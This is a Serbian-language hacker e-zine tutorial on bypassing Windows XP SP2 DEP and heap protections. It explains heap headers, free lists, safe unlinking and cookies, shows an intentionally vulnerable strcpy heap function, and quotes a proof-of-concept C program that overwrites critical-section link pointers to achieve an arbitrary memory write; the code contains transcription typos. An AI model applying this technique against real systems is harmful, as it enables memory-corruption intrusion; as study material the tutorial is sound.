Copy Link
Add to Bookmark
Report

4x08 Bypass DEP on Heap

eZine's profile picture
Published in 
phearless
 · 14 Jan 2024

 
...................
...::: phearless zine #4 :::...

......................>---[ Bypass DEP on Heap ]---<......................

............................>---[ by `and ]---<...........................
im_happy_icefor[at]yahoo[dot]com


[.1] Intro
[.2] DEP ?
. HW
. SW
. Configuration
[.3] HEAP ?
. Explain
. Under Attack
[.4] Exploit ?
[.5] Appendix
. Linked list
. Critical Section
. Literatura
[.6] Outro

___________________________________________________________________________
-*==<[ 1. Intro
...........................................................................

Aham, jos jedan broj phearless-a, i ja kao treba nesto da napisem :), pa
evo mislim da je ovo zanimljivo ... isto koliko meni gledanje fudbala, ali
sta je tu je ! Bacimo se na posao ! Sta vam treba ? Pa treba vam mozak,
malo predznanja iz ove oblasti (Google u sake), zatim Win XP SP2 (ja ga
koristim trenutno), neki compiler, ... ma videcemo sta jos usput !

Tip of the day :

Ako hocete da imate hakersku konzolu uradite sledece :

\HKEY_CURRENT_USER\Software\Microsoft\Command Processor
Key: DefaultColor Value: a


A da i obavezno procitajte moje prethodne tutorijale ako niste upoznati sa
ovom temom. Mozete ih naci na www.lenaslave.cjb.net

___________________________________________________________________________
-*==<[ 1. DEP ?
...........................................................................


Data execution prevention (DEP) je skup hardverskih i softverskih resenja
koja su zaduzena za dodatno proveravanje memorije i samim tim sprecavaju
izvrsenje sumljivih programa (exploita).


->
Hardverski DEP markira sve memoriske lokacije u procesu kao non-executable,
izuzev kada je na toj lokaciji stvarno neki izvrsni kod. Postoji vise nacina
napada tj pokusaja ubacivanja koda u non-executable memoriske lokacije, DEP
pomaze da se svi pokusaji presretnu i samim tim se desava Exception koji se
dalje obradjuje ...

Harverski implementiran DEP (ili kako se drugacije naziva Execution
Protection (NX)) radi tako sto processor markira memoriju sa atributom
koji oznacava da cod ne moze biti izvrsen sa te lokacije. Funkcionise na bazi
virtuelne memorije, tj najcesce se menja bit (koji oznacava zabranjeno
izvrsavanje ili ne) u PTE (Page Table Entry).

DEP se implementira i kod 32-bitnih i 64-bitnih verzija Windowsa, javlja se kod
svih nivoa aplikacija, kako kod obicnih usera tako i kod kernel moda i Device
drivera. U user modu DEP Exception se javlja kao :

STATUS_ACCESS_VIOLATION (0xc0000005)

Prvi parametar ExceptionInformation koji se nalazi unutar EXCEPTION_RECORD
strukture je tip Exceptiona koji se desio. A vrednost 8 u
ExceptionInformation[] pokazuje da je Exception ustvari "Execution Violation".

Kod vecine processa STATUS_ACCESS_VIOLATION je "unhandled" Exception i
rezultira gasenjem procesa.

U kernel modu se ne mogu selektivno markirati memoriske lokacije. Na 32-bitnoj
verziji Windowsa DEP je primenjen na Stack, dok je kod 64-bitne verzije
primenjen na Stack,Paged Pool i Session Pool !
Device Drivers takodje nisi u mogucnosti da izvrsavaju kod sa Stacka kada je
ukljucen DEP. DEP access violation u kernel modu rezultira kao:

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY


->
Softverski implemetiran DEP ( Sandboxing ) je predvidjen da umanji napade
exploita koji iskoriscavaju propust u SEH-u (Structured Exception Handler).
Implentira se koriscenjem /SafeSEH switcha prilikom compajliranja programa.
Vise o ovome imate u ph#3 ili na mojoj web stranici.

->
DEP se moze podesavati ako nam je to potrebno. Konfiguracija DEP-a se nalazi
u Boot.ini switchevima i moze se podesavati na sledeci nacin :

Dodavanjem : /noexecute=policy_level gde je policy_level definisan kao :
AlwaysOn, AlwaysOff, OptIn ili OptOut.

Ili drugi nacin :

1.Click Start, click Control Panel, dupli-click System.
2.Click Advanced tab onda, unutar Performance, click Settings.
3.Click Data Execution Prevention tab.
4.Click Turn on DEP for essential Windows programs and services only
ako hocemo OptIn policy.
5.Click Turn on DEP for all programs and services except those I select
ako hocemo OptOut policy.


==============================================================================
Policy_Levels features :
------------------------------------------------------------------------------
* OptIn (default configuration)
Sa ovom opcijom su samo Windowsovi servisi i procesi zasticeni
------------------------------------------------------------------------------
* OptOut
DEP je ukljucen za sve procese ali se moze manuelno iskljucivati za odredjene
------------------------------------------------------------------------------
* AlwaysOn
Uvek ukljucen DEP za sve procese i ne moze se iskljivati sa pojedine
------------------------------------------------------------------------------
* AlwaysOff
Iskljucen svaki vid zastite
==============================================================================

___________________________________________________________________________
-*==<[ 3. HEAP ?
...........................................................................

->
HEAP je rezervisani adresni prostor, velicine minimum jedne stranice, koju
posle heap menadzer moze dinamicki alocirati po potrebi na manje delove.
Heap menager je ustvari set funkcija za alociranje i oslobadjanje
memorije koje se nalaze u ntdll.dll i ntoskrnl.exe.
Svaki proces u trenutku kreiranja dobija default heap koji je velicine
1MB i raste prema potrebi.

Heap memorija je organizovana u blokove koje se nazivaju "alocation units"
ili indexi, koji su 8-byta veliki. Kako aplikacijama treba vise od 8-byta,
tj vise blokova od po 8-bajta, za svaki skup blokova se kreira specijalni
"header". Evo malo skicirano :


===============================================================
Size | Previous Size
---------------------------------------------------------------
Segment Index | Flags | Unused | Tag Index
===============================================================
Sl.1 Zauzet header


===============================================================
Size | Previous Size
---------------------------------------------------------------
Segment Index | Flags | Unused | Tag Index
---------------------------------------------------------------
Flink
---------------------------------------------------------------
Blink
===============================================================
Sl.2 Slobodan header

Gde su :

Size - Velicina bloka
Previous Size - Prethodna velicina bloka
Segment Index - Segmentni index koji pokazuje gde se memoriski
blok nalazi
Unused - Slobodni bajtovi
Tag Index - tag index;
Flink - pointer na sledeci slobodan blok
Blink - pointer na prethodni slobodan blok

Flags :
- 0x01 - HEAP_ENTRY_BUSY
- 0x02 - HEAP_ENTRY_EXTRA_PRESENT
- 0x04 - HEAP_ENTRY_FILL_PATTERN
- 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
- 0x10 - HEAP_ENTRY_LAST_ENTRY
- 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
- 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
- 0x80 - HEAP_ENTRY_SETTABLE_FLAG3


Slobodni blokovi memorije su su sortirani po velicini i informacije
o njima se cuvaju u nizu od 128 doubly-linked-list u heap headeru.
Tj ako imamo na primer slobodne blokove cija je velicina 17 to znaci
da ce svi ti blokovi biti smesteni u listu sa indexom 17 ( Freelist[17] ).
Prvi index se ne koristi zato sto blok od 8 bajta ne moze da postoji a
index 0 se koristi za blokove vece od 127 alociranih jedinica tj vecih
od 1016 byta. Kako to izgleda na slici :

.--------------------.
| |
| Heap Header |
| |
| |
|--------------------|
| Free list 0 |
|--------------------|
| ... |
|--------------------|
| Free list 33 | <----> [Free Entry] <----> [Free Entry]
|--------------------|
| Free list 34 |
|--------------------|
| ... |
|--------------------|
| Free list 127 | <----> [Free Entry]
|--------------------|
|... |
|--------------------|
| Lookaside list 0 |
|--------------------|
| Lookaside list 1 |
|--------------------|
| ... |
|--------------------|
| Lookaside list 127 | ----> [Free Entry] ----> [Free Entry] ---> [Null]
|--------------------|
| |
'--------------------'

Ako prilikom alokacije heap-a flag HEAP_NO_SERIALIZE nije postavljen
a HEAP_GROWABLE jeste ( sto je default situacija ), onda da bi se ubrzala
alokacija malih blokova ( ispod 1016 byta ) creira se single-linked
lookaside lists. Na pocetku lookaside lista je prazna i raste samo kada
se oslobadja memorija. Samim tim po defaultu se prilikom alociranja prvo
proverava lookaside list a tek onda Freelists.

->
Ajde sada da pogledamo kako izgleda jedna funkcija u kojoj je moguce
izvrsiti Heap Overflow :

...

HANDLE h = HeapCreate(0, 0, 0); // default flags
DWORD vulner(LPVOID str)

{
LPVOID mem = HeapAlloc(h, 0, 128);
// <..>
strcpy(mem, str);
// <..>
return 0;
}

...

I sada kao sto mozemo videti funkcija vulner() kopira podatke iz stringa
na koga pokazuje pointer str u alocirani memoriski blok na koga pokazuje
buf, ali bez provere velicine stringa. A to znaci da ako se string veci od
127 bajta preda ovoj funkciji, dogodice se overflow koji ce prebrisati
podatke u tom memoriskom bloku. Ako za vreme overflow-a susedni blok postoji
i ako je free, onda ce se Flink i Blink pointeri prepisati. U trenutku
brisanja slobodnog bloka ( onog koji smo prepisali ) iz doubly-linked freelist
desava se sledece :

mov dword ptr [ecx],eax
mov dword ptr [eax+4],ecx

EAX - Flink
ECX - Blink


.--------------------.
| |
| Block Header | | O
| | | v
| | | e
| | | r
|--------------------| | f
| | | l
| Buffer | | o
| | | w
| | |
|--------------------| | w
| Block Header | | a
|--------------------| | y
| Flink | |
|--------------------| |
| Blink | \/
'--------------------'

Znaci moguce je prepisati Flink i Blink Pointere ...

Pazi sad, postoje dva vida zastite\provere Heap-a na overflow, dodata
u XP SP2, i to su :

1. Prilikom brisanja slobodnog bloka iz freelist, proveravaju se adrese
Flink-a i Blink-a. Ovaj postupak se naziva "SafeUnlinking".

2. Ubacuje se controlni cookie, koji se prvoverava prilikom alokacije
slobodnog memoriskog bloka.

===============================================================
Size | Previous Size
---------------------------------------------------------------
Cookie | Flags | Unused | Segment Index
===============================================================


U slucaju da bilo koja od ove dve provere ne prodje dolazi do exeptiona.

___________________________________________________________________________
-*==<[ 3. Exploit ?
...........................................................................

Kao sto vidimo veoma je tesko exploisati ovu ranjivost ali je opet moguce
i to u nekim extremnim situacijama, npr prilikom inicijalizacije nekog
programa uvek se prvo ucitavaju dll-ovi koje koristi tj alocira se memoriski
prostor za njih na heap-u. Structura heap-a u tom trenutku izgleda otprilike
ovako :

.-----------------------.
| Blok Header |
|-----------------------|
| 0 | x |
|-----------------------|
| A | B |
|-----------------------|
| 0 | 0 |
|-----------------------|
| ? | ? |
'-----------------------'

Gde je X CriticalSection ( kriticna sekcija programa ), a A i B su linkovane
structure. Ako uspemo da izvrsimo overflow u structuri X, mozemo prepisati
strukture A i B. Tj mozemo prepisati proizvoljnu memorisku adresu. Da bi
razumeli zasto DEP ne reaguje na ovaj overflow pogledajmo sledecu sliku :

|-----------------------------Critical Section
\/
.-------------------------------.
| 0 | X | A | B |
'-------------------|-------^---'
| |
.-------------------\/------|---.
| 0 | X | A | B |
'-------------------------------'

Ovde su A i B linkovane strukture a to znaci da kada doce do brisanja
criticne sekcije programa ( RtlDeleteCriticalSection() ), dolazi i do brisanja
linkovanih struktura iz doubly-linked liste, sto dalje znaci sledece :

Moguce je izvrsiti overflow i prepisti proizvoljnu memorisku adresu zbog toga
sto se ne proveravaju strukture A i B jer su izbrisane iz doubly-linked liste
prilikom brisanja criticnih sekcija.

I sada jedan PoC kode (by: icolas.falliere@gmail.com ) koji demonstrira ovu
tehniku :

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>


VOID GetChunkList(DWORD *pChunks, INT * bChunks)
{
DWORD pid;
HANDLE snapshot;
HEAPLIST32 list;
HEAPENTRY32 entry;
BOOLEAN bNext;
INT cnt = 0;


pid = GetCurrentProcessId();

snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPHEAPLIST, pid);
if(snapshot == INVALID_HANDLE_VALUE)
{
printf("[Error] Canot take a heap snapshot\n ");
}
else
{
ZeroMemory(&list, sizeof(list));
list.dwSize = sizeof(HEAPLIST32);
bNext = Heap32ListFirst(snapshot, &list);

while(bNext)
{
ZeroMemory(&entry, sizeof(entry));
entry.dwSize = sizeof(HEAPENTRY32);
bNext = Heap32 irst(&entry, list.th32ProcessID, list.th32HeapID);

while(bNext)
{
pChunks[cnt] = entry.dwAddress;
cnt++;

ZeroMemory(&entry, sizeof(entry));
entry.dwSize = sizeof(HEAPENTRY32);
bNext = Heap32Next(&entry);
}

ZeroMemory(&list, sizeof(list));
list.dwSize = sizeof(HEAPLIST32);
bNext = Heap32ListNext(snapshot, &list);
}

CloseHandle(snapshot);

* bChunks = cnt;
}
}


int main(void)
{
HANDLE hHeap;
DWORD pChu ks[500];
INT nbChunks;
INT i;
HMODULE hLib;
DWORD *p;


hHeap = GetProcessHeap();
printf("Default heap: %X\n", hHeap);

hLib = LoadLibrary("oleaut32.dll");
printf("LoadLibrary : oleaut32.dll\ ");

GetChunkList(pChunks, &nbChunks);

for(i = 0; i < nbChunks; i++)
{
// Chunk size is 40 bytes
if(*(WORD *)(pChunks[i] - 8) == 5)
{
p = (DWORD *)(pChunks[i]);

// Check if Link and nBLink are there
if(p[2] && p[3])
{
printf("Structure found at address: %8X\n", p);
printf("Before modification : A=%8X B=%8X\n", p[2], p[3]);
memcpy(p + 2, "AAAABBBB", 8);
printf("After modification : A=%8X B=%8X\n", p[2], p[3]);
break;
}
}
}

printf("Press Enter to terminate the program and trigger the access
violation\n"
);
getchar();

return 0;
}


___________________________________________________________________________
-*==<[ 3. Appendix
...........................................................................

Da kao neki dodatak da objasnim malo neke stvari ako neko ne zna ...

->
Linked list :

Najjednostavija linkova lista je SingleLinkedList. Tj u svakom elementu liste
postoji pointer koji pokazuje na sledeci element. Ili na NULL vrednost u
slucaju da je to zadnji element.

.--.--. .--.--. .--.--. .-.
|1 I -|--->|2 I -|---> ... |33I -|--->|x|
'--'--' '--'--' '--'--' '-'

Doubly-linked list je lista koja ima pointer sledeci i prethodni element :

Prvi element
.--.--.--. .--.--.--.
| x| | |<---->|*p|1 |&n| ...
'--'--'--' '--'--'--'

*p - pointer na prethodni element
*n - pointer na sledeci element


-> Critical section :

Deo koda koji pristupa zajednickim objektima se zove kriticna sekcija.
Taj pristup mora da se sinhronizuje, tako da nema zabune kada dve (ili vise)
niti ( procesa ) pristupaju ( ili menjaju ) zajednickom objektu.


-> Literatura :

- Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass by
Alexander Anisimov

- Bypassing Windows heap protections by Nicolas Falliere

- Windows Heap Overflows by David Litchfield

___________________________________________________________________________
-*==<[ 3. Outro
...........................................................................

Pa sta da kazem, txt je mozda malo kratak ali Shat je dao rok i mora se
postovati ! Ali ako vas stvarno zanima, razumece te ga ...
Ovaj windows sve vise i vise postaje sigurniji, nemam vise tema za pisanje,
moram da predjem na linux :)

Zahvalnice ide mojim drugarima (ne crew, ne team) sa blackhatz.net, a jedna
velika palacinka sa plazmom, kremom, i malinama samo mojoj Leni !!!

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT